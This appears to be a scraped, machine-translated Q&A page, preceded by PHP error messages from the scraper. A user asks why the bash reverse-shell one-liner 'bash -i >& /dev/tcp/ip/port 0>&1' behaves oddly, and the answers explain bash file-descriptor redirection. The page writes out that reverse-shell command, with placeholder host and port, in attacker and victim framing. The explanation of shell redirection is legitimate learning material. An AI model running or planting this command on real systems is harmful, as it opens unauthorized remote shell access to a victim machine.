Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/bash/17.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/hadoop/6.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Linux Bash反向shell奇怪的行为_Linux_Bash_Shell_Reverse Shell - Fatal编程技术网

Linux Bash反向shell奇怪的行为

Linux Bash反向shell奇怪的行为,linux,bash,shell,reverse-shell,Linux,Bash,Shell,Reverse Shell,我今天试着尽可能多地理解一个命令(找到的),在受害者一侧打开一个反向外壳。这是: bash-i>&/dev/tcp/ip/port 0>&1 但是,我没有完全理解为什么第一个重定向是&。我知道/dev/tcp/ip/port是由bash创建的“伪”文件,但我没有找到是否必须将其视为真实文件或文件描述符的信息。因此,我试图将其视为一个真实的文件,并像这样重写bash命令: bash-i>/dev/tcp/ip/port 0>&1 在本例中,出现了一个奇怪的行为:反向shell按预期工作(我可以

我今天试着尽可能多地理解一个命令(找到的),在受害者一侧打开一个反向外壳。这是:

bash-i>&/dev/tcp/ip/port 0>&1
但是,我没有完全理解为什么第一个重定向是
&
。我知道
/dev/tcp/ip/port
是由bash创建的“伪”文件,但我没有找到是否必须将其视为真实文件或文件描述符的信息。因此,我试图将其视为一个真实的文件,并像这样重写bash命令:

bash-i>/dev/tcp/ip/port 0>&1
在本例中,出现了一个奇怪的行为:反向shell按预期工作(我可以在攻击者端键入一些命令,并在攻击者端获得输出),除了一个输出:bash命令提示符文本。因此,唯一没有在攻击者一侧打印,但在受害者一侧打印的内容是:

bash-4.4$
其他内容按预期打印,即在攻击者一侧

我尝试的最后一个测试是更改bash命令,如下所示:

bash-i>/dev/tcp/ip/port
  • bash
    中的文件描述符是一个数字,即。E一个或多个数字,因此
    /dev/..
    绝对不是文件描述符。您被特殊构造
    &
    误导了,除非后面跟一个数字,否则它不是复制输出文件描述符的重定向运算符,而是复制输出文件描述符的非传递格式


  • 为什么作者使用
    0>&1
    来更改stdin而不是
    使用了“0>&1”和“关于shell提示符,据我所知,它被重定向到与终端会话相关联的/dev/tty,而不是stdin、stdout或stderr,但它可能在unix版本中有所不同很好,这解释了一切!非常感谢:)